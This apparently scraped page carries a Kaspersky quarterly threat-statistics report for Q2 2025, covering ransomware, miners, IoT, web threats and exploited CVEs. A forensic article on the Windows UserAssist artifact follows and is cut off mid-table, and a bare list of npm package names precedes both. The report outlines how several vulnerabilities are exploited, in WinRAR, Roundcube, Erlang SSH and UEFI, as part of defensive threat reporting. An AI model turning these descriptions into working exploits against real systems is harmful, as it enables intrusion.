    rxnt-healthchecks-nestjs
    rxnt-kue
    swc-plugin-component-annotate
    tbssnch
    teselagen-interval-tree
    tg-client-query-builder
    tg-redbird
    tg-seq-gen
    thangved-react-grid
    ts-gaussian
    ts-imports
    tvi-cli
    ve-bamreader
    ve-editor
    verror-extra
    voip-callkit
    wdio-web-reporter
    yargs-help-output
    yoo-styles

    IT threat evolution in Q2 2025. Non-mobile statistics

    By: AMR

    IT threat evolution in Q2 2025. Non-mobile statistics
    IT threat evolution in Q2 2025. Mobile statistics

    The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

    The quarter in numbers

    In Q2 2025:

    • Kaspersky solutions blocked more than 471 million attacks originating from various online resources.
    • Web Anti-Virus detected 77 million unique links.
    • File Anti-Virus blocked nearly 23 million malicious and potentially unwanted objects.
    • There were 1,702 new ransomware modifications discovered.
    • Just under 86,000 users were targeted by ransomware attacks.
    • Of all ransomware victims whose data was published on threat actors’ data leak sites (DLS), 12% were victims of Qilin.
    • Almost 280,000 users were targeted by miners.

    Ransomware

    Quarterly trends and highlights

    Law enforcement success

    The alleged malicious actor behind the Black Kingdom ransomware attacks was indicted in the U.S. The Yemeni national is accused of infecting about 1,500 computers in the U.S. and other countries through vulnerabilities in Microsoft Exchange. He also stands accused of demanding a ransom of $10,000 in bitcoin, which is the amount victims saw in the ransom note. He is also alleged to be the developer of the Black Kingdom ransomware.

    A Ukrainian national was extradited to the U.S. in the Nefilim case. He was arrested in Spain in June 2024 on charges of distributing ransomware and extorting victims. According to the investigation, he had been part of the Nefilim Ransomware-as-a-Service (RaaS) operation since 2021, targeting high-revenue organizations. Nefilim uses the classic double extortion scheme: cybercriminals steal the victim’s data, encrypt it, then threaten to publish it online.

    Also arrested was a member of the Ryuk gang, charged with organizing initial access to victims’ networks. The accused was apprehended in Kyiv in April 2025 at the request of the FBI and extradited to the U.S. in June.

    A man suspected of being involved in attacks by the DoppelPaymer gang was arrested. In a joint operation by law enforcement in the Netherlands and Moldova, the 45-year-old was arrested in May. He is accused of carrying out attacks against Dutch organizations in 2021. Authorities seized around €84,800 and several devices.

    A 39-year-old Iranian national pleaded guilty to participating in RobbinHood ransomware attacks. Among the targets of the attacks, which took place from 2019 to 2024, were U.S. local government agencies, healthcare providers, and non-profit organizations.

    Vulnerabilities and attacks

    Mass exploitation of a vulnerability in SAP NetWeaver

    In May, it was revealed that several ransomware gangs, including BianLian and RansomExx, had been exploiting CVE-2025-31324 in SAP NetWeaver software. Successful exploitation of this vulnerability allows attackers to upload malicious files without authentication, which can lead to a complete system compromise.

    Attacks via the SimpleHelp remote administration tool

    The DragonForce group compromised an MSP provider, attacking its clients with the help of the SimpleHelp remote administration tool. According to researchers, the attackers exploited a set of vulnerabilities (CVE-2024-57727, CVE-2024-57728, CVE-2024-57726) in the software to launch the DragonForce ransomware on victims’ hosts.

    Qilin exploits vulnerabilities in Fortinet

    In June, news broke that the Qilin gang (also known as Agenda) was actively exploiting critical vulnerabilities in Fortinet devices to infiltrate corporate networks. The attackers allegedly exploited the vulnerabilities CVE-2024-21762 and CVE-2024-55591 in FortiGate software, which allowed them to bypass authentication and execute malicious code remotely. After gaining access, the cybercriminals encrypted data on systems within the corporate network and demanded a ransom.

    Exploitation of a Windows CLFS vulnerability

    April saw the detection of attacks that leveraged CVE-2025-29824, a zero-day vulnerability in the Windows Common Log File System (CLFS) driver, a core component of the Windows OS. This vulnerability allows an attacker to elevate privileges on a compromised system. Researchers have linked these incidents to the RansomExx and Play gangs. The attackers targeted companies in North and South America, Europe, and the Middle East.

    The most prolific groups

    This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS during the reporting period. In the second quarter, Qilin (12.07%) proved to be the most prolific group. RansomHub, the leader of 2024 and the first quarter of 2025, seems to have gone dormant since April. Clop (10.83%) and Akira (8.53%) swapped places compared to the previous reporting period.

    Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

    Number of new variants

    In the second quarter, Kaspersky solutions detected three new families and 1,702 new ransomware variants. This is significantly fewer than in the previous reporting period. The decrease is linked to the renewed decline in the count of the Trojan-Ransom.Win32.Gen verdicts, following a spike last quarter.

    Number of new ransomware modifications, Q2 2024 — Q2 2025 (download)

    Number of users attacked by ransomware Trojans

    Our solutions protected a total of 85,702 unique users from ransomware during the second quarter.

    Number of unique users attacked by ransomware Trojans, Q2 2025 (download)

    Geography of attacked users

    TOP 10 countries and territories attacked by ransomware Trojans

    Country/territory* %**
    1 Libya 0.66
    2 China 0.58
    3 Rwanda 0.57
    4 South Korea 0.51
    5 Tajikistan 0.49
    6 Bangladesh 0.45
    7 Iraq 0.45
    8 Pakistan 0.38
    9 Brazil 0.38
    10 Tanzania 0.35

    * Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
    ** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

    TOP 10 most common families of ransomware Trojans

    Name Verdict %*
    1 (generic verdict) Trojan-Ransom.Win32.Gen 23.33
    2 WannaCry Trojan-Ransom.Win32.Wanna 7.80
    3 (generic verdict) Trojan-Ransom.Win32.Encoder 6.25
    4 (generic verdict) Trojan-Ransom.Win32.Crypren 6.24
    5 (generic verdict) Trojan-Ransom.Win32.Agent 3.75
    6 Cryakl/CryLock Trojan-Ransom.Win32.Cryakl 3.34
    7 PolyRansom/VirLock Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom 3.03
    8 (generic verdict) Trojan-Ransom.Win32.Crypmod 2.81
    9 (generic verdict) Trojan-Ransom.Win32.Phny 2.78
    10 (generic verdict) Trojan-Ransom.MSIL.Agent 2.41

    * Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

    Miners

    Number of new variants

    In the second quarter of 2025, Kaspersky solutions detected 2,245 new modifications of miners.

    Number of new miner modifications, Q2 2025 (download)

    Number of users attacked by miners

    During the second quarter, we detected attacks using miner programs on the computers of 279,630 unique Kaspersky users worldwide.

    Number of unique users attacked by miners, Q2 2025 (download)

    Geography of attacked users

    TOP 10 countries and territories attacked by miners

    Country/territory* %**
    1 Senegal 3.49
    2 Panama 1.31
    3 Kazakhstan 1.11
    4 Ethiopia 1.02
    5 Belarus 1.01
    6 Mali 0.96
    7 Tajikistan 0.88
    8 Tanzania 0.80
    9 Moldova 0.80
    10 Dominican Republic 0.80

    * Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
    ** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

    Attacks on macOS

    Among the threats to macOS, one of the biggest discoveries of the second quarter was the PasivRobber family. This spyware consists of a huge number of modules designed to steal data from QQ, WeChat, and other messaging apps and applications that are popular mainly among Chinese users. Its distinctive feature is that the spyware modules get embedded into the target process when the device goes into sleep mode.

    Closer to the middle of the quarter, several reports (1, 2, 3) emerged about attackers stepping up their activity, posing as victims’ trusted contacts on Telegram and convincing them to join a Zoom call. During or before the call, the user was persuaded to run a seemingly Zoom-related utility, but which was actually malware. The infection chain led to the download of a backdoor written in the Nim language and bash scripts that stole data from browsers.

    TOP 20 threats to macOS

    * Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

    * Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

    A new piece of spyware named PasivRobber, discovered in the second quarter, immediately became the most widespread threat, attacking more users than the fake cleaners and adware typically seen on macOS. Also among the most common threats were the password- and crypto wallet-stealing Trojan Amos and the general detection Trojan.OSX.Agent.gen, which we described in our previous report.

    Geography of threats to macOS

    TOP 10 countries and territories by share of attacked users

    Country/territory %* Q1 2025 %* Q2 2025
    Mainland China 0.73% 2.50%
    France 1.52% 1.08%
    Hong Kong 1.21% 0.84%
    India 0.84% 0.76%
    Mexico 0.85% 0.76%
    Brazil 0.66% 0.70%
    Germany 0.96% 0.69%
    Singapore 0.32% 0.63%
    Russian Federation 0.50% 0.41%
    South Korea 0.10% 0.32%

    * Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

    IoT threat statistics

    This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

    In the second quarter of 2025, there was another increase in both the share of attacks using the Telnet protocol and the share of devices connecting to Kaspersky honeypots via this protocol.

    Distribution of attacked services by number of unique IP addresses of attacking devices (download)

    Distribution of attackers’ sessions in Kaspersky honeypots (download)

    TOP 10 threats delivered to IoT devices

    Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

    In the second quarter, the share of the NyaDrop botnet among threats delivered to our honeypots grew significantly to 30.27%. Conversely, the number of Mirai variants on the list of most common malware decreased, as did the share of most of them. Additionally, after a spike in the first quarter, the share of BitCoinMiner miners dropped to 1.57%.

    During the reporting period, the list of most common IoT threats expanded with new families. The activity of the Agent.nx backdoor (4.48%), controlled via P2P through the BitTorrent DHT distributed hash table, grew markedly. Another newcomer to the list, Prometei, is a Linux version of a Windows botnet that was first discovered in December 2020.

    Attacks on IoT honeypots

    Geographically speaking, the percentage of SSH attacks originating from Germany and the U.S. increased sharply.

    Country/territory Q1 2025 Q2 2025
    Germany 1.60% 24.58%
    United States 5.52% 10.81%
    Russian Federation 9.16% 8.45%
    Australia 2.75% 8.01%
    Seychelles 1.32% 6.54%
    Bulgaria 1.25% 3.66%
    The Netherlands 0.63% 3.53%
    Vietnam 2.27% 3.00%
    Romania 1.34% 2.92%
    India 19.16% 2.89%

    The share of Telnet attacks originating from China and India remained high, with more than half of all attacks on Kaspersky honeypots coming from these two countries combined.

    Country/territory Q1 2025 Q2 2025
    China 39.82% 47.02%
    India 30.07% 28.08%
    Indonesia 2.25% 5.54%
    Russian Federation 5.14% 4.85%
    Pakistan 3.99% 3.58%
    Brazil 12.03% 2.35%
    Nigeria 3.01% 1.66%
    Germany 0.09% 1.47%
    United States 0.68% 0.75%
    Argentina 0.01% 0.70%

    Attacks via web resources

    The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. Cybercriminals create malicious pages with a goal in mind. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

    Countries that served as sources of web-based attacks: TOP 10

    This section gives the geographical distribution of sources of online attacks blocked by Kaspersky products: web pages that redirect to exploits; sites that host exploits and other malware; botnet C2 centers, and the like. Any unique host could be the source of one or more web-based attacks.

    To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

    In the second quarter of 2025, Kaspersky solutions blocked 471,066,028 attacks from internet resources worldwide. Web Anti-Virus responded to 77,371,384 unique URLs.

    Web-based attacks by country, Q2 2025 (download)

    Countries and territories where users faced the greatest risk of online infection

    To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location who experienced a Web Anti-Virus alert during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

    This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

    Country/territory* %**
    1 Bangladesh 10.85
    2 Tajikistan 10.70
    3 Belarus 8.96
    4 Nepal 8.45
    5 Algeria 8.21
    6 Moldova 8.16
    7 Turkey 8.08
    8 Qatar 8.07
    9 Albania 8.03
    10 Hungary 7.96
    11 Tunisia 7.95
    12 Portugal 7.93
    13 Greece 7.90
    14 Serbia 7.84
    15 Bulgaria 7.79
    16 Sri Lanka 7.72
    17 Morocco 7.70
    18 Georgia 7.68
    19 Peru 7.63
    20 North Macedonia 7.58

    * Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
    ** Unique users targeted by Malware attacks as a percentage of all unique users of Kaspersky products in the country.

    On average during the quarter, 6.36% of internet users’ computers worldwide were subjected to at least one Malware web-based attack.

    Local threats

    Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

    Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus. This includes malware found directly on user computers or on connected removable media: flash drives, camera memory cards, phones, and external hard drives.

    In the second quarter of 2025, our File Anti-Virus recorded 23,260,596 malicious and potentially unwanted objects.

    Countries and territories where users faced the highest risk of local infection

    For each country and territory, we calculated the percentage of Kaspersky users whose devices experienced a File Anti-Virus triggering at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

    Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

    Country/territory* %**
    1 Turkmenistan 45.26
    2 Afghanistan 34.95
    3 Tajikistan 34.43
    4 Yemen 31.95
    5 Cuba 30.85
    6 Uzbekistan 28.53
    7 Syria 26.63
    8 Vietnam 24.75
    9 South Sudan 24.56
    10 Algeria 24.21
    11 Bangladesh 23.79
    12 Belarus 23.67
    13 Gabon 23.37
    14 Niger 23.35
    15 Cameroon 23.10
    16 Tanzania 22.77
    17 China 22.74
    18 Iraq 22.47
    19 Burundi 22.30
    20 Congo 21.84

    * Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
    ** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

    Overall, 12.94% of user computers globally faced at least one Malware local threat during the second quarter.
    The figure for Russia was 14.27%.

    Exploits and vulnerabilities in Q2 2025

    Vulnerability registrations in Q2 2025 proved to be quite dynamic. Vulnerabilities that were published impact the security of nearly every computer subsystem: UEFI, drivers, operating systems, browsers, as well as user and web applications. Based on our analysis, threat actors continue to leverage vulnerabilities in real-world attacks as a means of gaining access to user systems, just like in previous periods.

    This report also describes known vulnerabilities used with popular C2 frameworks during the first half of 2025.

    Statistics on registered vulnerabilities

    This section contains statistics on assigned CVE IDs. The data is taken from cve.org.

    Let’s look at the number of CVEs registered each month over the last five years.

    Total vulnerabilities published each month from 2021 to 2025 (download)

    This chart shows the total volume of vulnerabilities that go through the publication process. The number of registered vulnerabilities is clearly growing year-on-year, both as a total and for each individual month. For example, around 2,600 vulnerabilities were registered as of the beginning of 2024, whereas in January 2025, the figure exceeded 4,000. This upward trend was observed every month except May 2025. However, it’s worth noting that the registry may include vulnerabilities with identifiers from previous years; for instance, a vulnerability labeled CVE-2024-N might be published in 2025.

    We also examined the number of vulnerabilities assigned a “Critical” severity level (CVSS > 8.9) during the same period.

    Total number of critical vulnerabilities published each month from 2021 to 2025 (download)

    The data for the first two quarters of 2025 shows a significant increase when compared to previous years. Unfortunately, it’s impossible to definitively state that the total number of registered critical vulnerabilities is growing, as some security issues aren’t assigned a CVSS score. However, we’re seeing that critical vulnerabilities are increasingly receiving detailed descriptions and publications – something that should benefit the overall state of software security.

    Exploitation statistics

    This section presents statistics on vulnerability exploitation for Q2 2025. The data draws on open sources and our telemetry.

    Windows and Linux vulnerability exploitation

    In Q2 2025, as before, the most common exploits targeted vulnerable Microsoft Office products that contained unpatched security flaws.

    Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities:

    • CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
    • CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
    • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad allowing an attacker to gain control over the system

    These vulnerabilities are traditionally exploited by threat actors more often than others, as we’ve detailed in previous reports. These are followed by equally popular issues in WinRAR and exploits for stealing NetNTLM credentials in the Windows operating system:

    • CVE-2023-38831: a vulnerability in WinRAR involving improper handling of files within archive contents
    • CVE-2025-24071: a Windows File Explorer vulnerability that allows for the retrieval of NetNTLM credentials when opening specific file types (.library-ms)
    • CVE-2024-35250: a vulnerability in the ks.sys driver that allows arbitrary code execution

    Dynamics of the number of Windows users encountering exploits, Q1 2024 — Q2 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

    All of the vulnerabilities listed above can be used for both initial access to vulnerable systems and privilege escalation. We recommend promptly installing updates for the relevant software.

    For the Linux operating system, exploits for the following vulnerabilities were detected most frequently:

    • CVE-2022-0847, also known as Dirty Pipe: a widespread vulnerability that allows privilege escalation and enables attackers to take control of running applications
    • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
    • CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to the fact that it employs popular memory modification techniques: manipulating msg_msg primitives, which leads to a Use-After-Free security flaw.

    Dynamics of the number of Linux users encountering exploits, Q1 2024 — Q2 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

    It’s critically important to install security patches for the Linux operating system, as it’s attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.

    Most common published exploits

    In Q2 2025, we observed that the distribution of published exploits by software type continued the trends from last year. Exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs.

    Distribution of published exploits by platform, Q1 2025 (download)

    Distribution of published exploits by platform, Q2 2025 (download)

    In Q2, no public information about new exploits for Microsoft Office systems appeared.

    Vulnerability exploitation in APT attacks

    We analyzed data on vulnerabilities that were exploited in APT attacks during Q2 2025. The following rankings are informed by our telemetry, research, and open-source data.

    TOP 10 vulnerabilities exploited in APT attacks, Q2 2025 (download)

    The Q2 TOP 10 list primarily draws from the large number of incidents described in public sources. It includes both new security issues exploited in zero-day attacks and vulnerabilities that have been known for quite some time. The most frequently exploited vulnerable software includes remote access and document editing tools, as well as logging subsystems. Interestingly, low-code/no-code development tools were at the top of the list, and a vulnerability in a framework for creating AI-powered applications appeared in the TOP 10. This suggests that the evolution of software development technology is attracting the attention of attackers who exploit vulnerabilities in new and increasingly popular tools. It’s also noteworthy that the web vulnerabilities were found not in AI-generated code but in the code that supported the AI framework itself.

    Judging by the vulnerabilities identified, the attackers’ primary goals were to gain system access and escalate privileges.

    C2 frameworks

    In this section, we’ll look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

    The chart below shows the frequency of known C2 framework usage in attacks on users during the first half of 2025, according to open sources.

    TOP 13 C2 frameworks used by APT groups to compromise user systems in Q1–Q2 2025 (download)

    The four most frequently used frameworks – Sliver, Metasploit, Havoc, and Brute Ratel C4 – can work with exploits “out of the box” because their agents provide a variety of post-compromise capabilities. These capabilities include reconnaissance, command execution, and maintaining C2 communication. It should be noted that the default implementation of Metasploit has built-in support for exploits that attackers use for initial access. The other three frameworks, in their standard configurations, only support privilege escalation and persistence exploits in a compromised system and require additional customization tailored to the attackers’ objectives. The remaining tools don’t work with exploits directly and were modified for specific exploits in real-world attacks. We can therefore conclude that attackers are increasingly customizing their C2 agents to automate malicious activities and hinder detection.

    After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above:

    • CVE-2025-31324: a vulnerability in SAP NetWeaver Visual Composer Metadata Uploader that allows for remote code execution and has a CVSS score of 10.0
    • CVE-2024-1709: a vulnerability in ConnectWise ScreenConnect 23.9.7 that can lead to authentication bypass, also with a CVSS score of 10.0
    • CVE-2024-31839: a cross-site scripting vulnerability in the CHAOS v5.0.1 remote administration tool, leading to privilege escalation
    • CVE-2024-30850: an arbitrary code execution vulnerability in CHAOS v5.0.1 that allows for authentication bypass
    • CVE-2025-33053: a vulnerability caused by improper handling of working directory parameters for LNK files in Windows, leading to remote code execution

    Interestingly, most of the data about attacks on systems is lost by the time an investigation begins. However, the list of exploited vulnerabilities reveals various approaches to the vulnerability–C2 combination, offering insight into the attack’s progression and helping identify the initial access vector. By analyzing the exploited vulnerabilities, incident investigations can determine that, in some cases, attacks unfold immediately upon exploit execution, while in others, attackers first obtain credentials or system access and only then deploy command and control.

    Interesting vulnerabilities

    This section covers the most noteworthy vulnerabilities published in Q2 2025.

    CVE-2025-32433: vulnerability in the SSH server, part of the Erlang/OTP framework

    This remote code execution vulnerability can be considered quite straightforward. The attacker needs to send a command execution request, and the server will run it without performing any checks – even if the user is unauthenticated. The vulnerability occurs during the processing of messages transmitted via the SSH protocol when using packages for Erlang/OTP.

    CVE-2025-6218: directory traversal vulnerability in WinRAR

    This vulnerability is similar to the well-known CVE-2023-38831: both target WinRAR and can be exploited through user interaction with the GUI. Vulnerabilities involving archives aren’t new and are typically exploited in web applications, which often use archives as the primary format for data transfer. These archives are processed by web application libraries that may lack checks for extraction limits. Typical scenarios for exploiting such vulnerabilities include replacing standard operating system configurations and setting additional values to launch existing applications. This can lead to the execution of malicious commands, either with a delay or upon the next OS boot or application startup.

    To exploit such vulnerabilities, attackers need to determine the location of the directory to modify, as each system has a unique file layout. Additionally, the process is complicated by the need to select the correct characters when specifying the extraction path. By using specific combinations of special characters, archive extraction outside of the working directory can bypass security mechanisms, which is the essence of CVE-2025-6218. A PoC for this vulnerability appeared rather quickly.

    Hex dump of the PoC file for CVE-2025-6218

    Hex dump of the PoC file for CVE-2025-6218

    As seen in the file dump, the archive extraction path is altered not due to its complex structure, but by using a relative path without specifying a drive letter. As we mentioned above, a custom file organization on the system makes such an exploit unstable. This means attackers will have to use more sophisticated social engineering methods to attack a user.

    CVE-2025-3052: insecure data access vulnerability in NVRAM, allowing bypass of UEFI signature checks

    UEFI vulnerabilities almost always aim to disable the Secure Boot protocol, which is designed to protect the operating system’s boot process from rootkits and bootkits. CVE-2025-3052 is no exception.

    Researchers were able to find a set of vulnerable UEFI applications in which a function located at offset 0xf7a0 uses the contents of a global non-volatile random-access memory (NVRAM) variable without validation. The vulnerable function incorrectly processes and can modify the data specified in the variable. This allows an attacker to overwrite Secure Boot settings and load any modules into the system – even those that are unsigned and haven’t been validated.

    CVE-2025-49113: insecure deserialization vulnerability in Roundcube Webmail

    This vulnerability highlights a classic software problem: the insecure handling of serialized objects. It can only be exploited after successful authentication, and the exploit is possible during an active user session. To carry out the attack, a malicious actor must first obtain a legitimate account and then use it to access the vulnerable code, which lies in the lack of validation for the _from parameter.

    Post-authentication exploitation is quite simple: a serialized PHP object in text format is placed in the vulnerable parameter for the attack. It’s worth noting that an object injected in this way is easy to restore for subsequent analysis. For instance, in a PoC published online, the payload creates a file named “pwned” in /tmp.

    Example of a payload published online

    Example of a payload published online

    According to the researcher who discovered the vulnerability, the defective code had been used in the project for 10 years.

    CVE-2025-1533: stack overflow vulnerability in the AsIO3.sys driver

    This vulnerability was exploitable due to an error in the design of kernel pool parameters. When implementing access rights checks for the AsIO3.sys driver, developers incorrectly calculated the amount of memory needed to store the path to the file requesting access to the driver. If a path longer than 256 characters is created, the system will crash with a “blue screen of death” (BSOD). However, in modern versions of NTFS, the path length limit is not 256 but 32,767 characters. This vulnerability demonstrates the importance of a thorough study of documentation: it not only helps to clearly understand how a particular Windows subsystem operates but also impacts development efficiency.

    Conclusion and advice

    The number of vulnerabilities continues to grow in 2025. In Q2, we observed a positive trend in the registration of new CVE IDs. To protect systems, it’s critical to regularly prioritize the patching of known vulnerabilities and use software capable of mitigating post-exploitation damage. Furthermore, one way to address the consequences of exploitation is to find and neutralize C2 framework agents that attackers may use on a compromised system.

    To secure infrastructure, it’s necessary to continuously monitor its state, particularly by ensuring thorough perimeter monitoring.

    Special attention should be paid to endpoint protection. A reliable solution for detecting and blocking malware will ensure the security of corporate devices.

    Beyond basic protection, corporate infrastructures need to implement a flexible and effective system that allows for the rapid installation of security patches, as well as the configuration and automation of patch management. It’s also important to constantly track active threats and proactively implement measures to strengthen security, including mitigating risks associated with vulnerabilities. Our Kaspersky Next product line helps to detect and analyze vulnerabilities in the infrastructure in a timely manner for companies of all sizes. Moreover, these modern comprehensive solutions also combine the collection and analysis of security event data from all sources, incident response scenarios, an up-to-date database of cyberattacks, and training programs to improve the level of employees’ cybersecurity awareness.

    Forensic journey: Breaking down the UserAssist artifact structure

    Introduction

    As members of the Global Emergency Response Team (GERT), we work with forensic artifacts on a daily basis to conduct investigations, and one of the most valuable artifacts is UserAssist. It contains useful execution information that helps us determine and track adversarial activities, and reveal malware samples. However, UserAssist has not been extensively examined, leaving knowledge gaps regarding its data interpretation, logging conditions and triggers, among other things. This article provides an in-depth analysis of the UserAssist artifact, clarifying any ambiguity in its data representation. We’ll discuss the creation and updating of artifact workflow, the UEME_CTLSESSION value structure and its role in logging the UserAssist data. We’ll also introduce the UserAssist data structure that was previously unknown.

    UserAssist artifact recap

    In the forensics community, UserAssist is a well-known Windows artifact used to register the execution of GUI programs. This artifact stores various data about every GUI application that’s run on a machine:

    • Program name: full program path.
    • Run count: number of times the program was executed.
    • Focus count: number of times the program was set in focus, either by switching to it from other applications, or by otherwise making it active in the foreground.
    • Focus time: total time the program was in focus.
    • Last execution time: date and time of the last program execution.

    The UserAssist artifact is a registry key under each NTUSER.DAT hive located at Software\Microsoft\Windows‌\CurrentVersion\Explorer\UserAssist\. The key consists of subkeys named with GUIDs. The two most important GUID subkeys are:

    • {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}: registers executed EXE files.
    • {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}: registers executed LNK files.

    Each subkey has its own subkey named “Count”. It contains values that represent the executed programs. The value names are the program paths encrypted using the ROT-13 cipher.

    The values contain structured binary data that includes the run count, focus count, focus time and last execution time of the respective application. This structure is well-known and represents the CUACount object. The bytes between focus time and last execution time have never been described or analyzed publicly, but we managed to determine what they are and will explain this later in the article. The last four bytes are unknown and contained a zero in all the datasets we analyzed.

    UserAssist artifact

    UserAssist artifact

    Data inconsistency

    Over the course of many investigations, the UserAssist data was found to be inconsistent. Some values included all of the parameters described above, while others, for instance, included only run count and last execution time. Overall, we observed five combinations of UserAssist data inconsistency.

    Cases Run Count Focus Count Focus Time Last Execution Time
    1
    2
    3
    4
    5

    Workflow analysis

    Deep dive into Shell32 functions

    To understand the reasons behind the inconsistency, we must examine the component responsible for registering and updating the UserAssist data. Our analysis revealed that the component in question is shell32.dll, more specifically, a function called FireEvent that belongs to the CUserAssist class.

    virtual long CUserAssist::FireEvent(struct _GUID const *, enum  tagUAEVENT, unsigned short const *, unsigned long)

    The FireEvent arguments are as follows:

    • Argument 1: GUID that is a subkey of the UserAssist registry key containing the registered data. This argument most often takes the value {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} because executed programs are mostly EXE files.
    • Argument 2: integer enumeration value that defines which counters and data should be updated.
      • Value 0: updates the run count and last execution time
      • Value 1: updates the focus count
      • Value 2: updates the focus time
      • Value 3: unknown
      • Value 4: unknown (we assume it is used to delete the entry).
    • Argument 3: full executable path that has been executed, focused on, or closed.
    • Argument 4: focus time spent on the executable in milliseconds. This argument only contains a value if argument 2 has a value of 2; otherwise, it equals zero.

    Furthermore, the FireEvent function relies heavily on two other shell32.dll functions: s_Read and s_Write. These functions are responsible for reading and writing the binary value data of UserAssist from and to the registry whenever a particular application is updated:

    static long CUADBLog::s_Read(void *, unsigned long, struct NRWINFO *)
    static long CUADBLog::s_Write(void *, unsigned long, struct NRWINFO *)

    The s_Read function reads the binary value of the UserAssist data from the registry to memory, whereas s_Write writes the binary value of the UserAssist data to the registry from the memory. Both functions have the same arguments, which are as follows:

    • Argument 1: pointer to the memory buffer (the CUACount struct) that receives or contains the UserAssist binary data.
    • Argument 2: size of the UserAssist binary data in bytes to be read from or written to registry.
    • Argument 3: undocumented structure containing two pointers.
      • The CUADBLog instance pointer at the 0x0 offset
      • Full executable path in plain text that the associated UserAssist binary data needs to be read from or written to the registry.

    When a program is executed for the first time and there is no respective entry for it in the UserAssist records, the s_Read function reads the UEME_CTLCUACount:ctor value, which serves as a template for the UserAssist binary data structure (CUACount). We’ll describe this value later in the article.

    It should be noted that the s_Read and s_Write functions are also responsible for encrypting the value names with the ROT-13 cipher.

    UserAssist data update workflow

    Any interaction with a program that displays a GUI is a triggering event that results in a call to the CUserAssist::FireEvent function. There are four types of triggering events:

    • Program executed.
    • Program set in focus.
    • Program set out of focus.
    • Program closed.

    The triggering event determines the execution workflow of the CUserAssist::FireEvent function. The workflow is based on the enumeration value that is passed as the second argument to FireEvent and defines which counters and data should be updated in the UserAssist binary data.

    The CUserAssist::FireEvent function calls the CUADBLog::s_Read function to read the binary data from registry to memory. The CUserAssist::FireEvent function then updates the respective counters and data before calling CUADBLog::s_Write to store the data back to the registry.

    The diagram below illustrates the workflow of the UserAssist data update process depending on the interaction with a program.

    UserAssist data update workflow

    UserAssist data update workflow

    The functions that call the FireEvent function vary depending on the specific triggering event caused by interaction with a program. The table below shows the call stack for each triggering event, along with the modules of the functions.

    Triggering event Module Call Stack Functions Details
    Program executed (double click) SHELL32 CUserAssist::FireEvent This call chain updates the run count and last execution time. It is only triggered when the executable is double-clicked, whether it is a CLI or GUI in File Explorer.
    Windows.storage UAFireEvent
    Windows.storage NotifyUserAssistOfLaunch
    Windows.storage CInvokeCreateProcessVerb::
    _OnCreatedProcess
    Program in focus SHELL32 CUserAssist::FireEvent This call chain updates the focus count and only applies to GUI executables.
    Explorer UAFireEvent
    Explorer CApplicationUsageTracker::
    _FireDelayedSwitch
    Explorer CApplicationUsageTracker::
    _FireDelayedSwitchCallback
    Program out of focus SHELL32 CUserAssist::FireEvent This call chain updates the focus time and only applies to GUI executables.
    Explorer UAFireEvent
    Explorer <lambda_2fe02393908a23e7
    ac47d9dd501738f1>::operator()
    Explorer shell::TaskScheduler::
    CSimpleRunnableTaskParam
    <<‌lambda_2fe02393908a23e7
    ac47‌d9dd501738f1>‌,
    CMemString<CMemString‌
    _PolicyCoTaskMem>
    >::InternalResumeRT
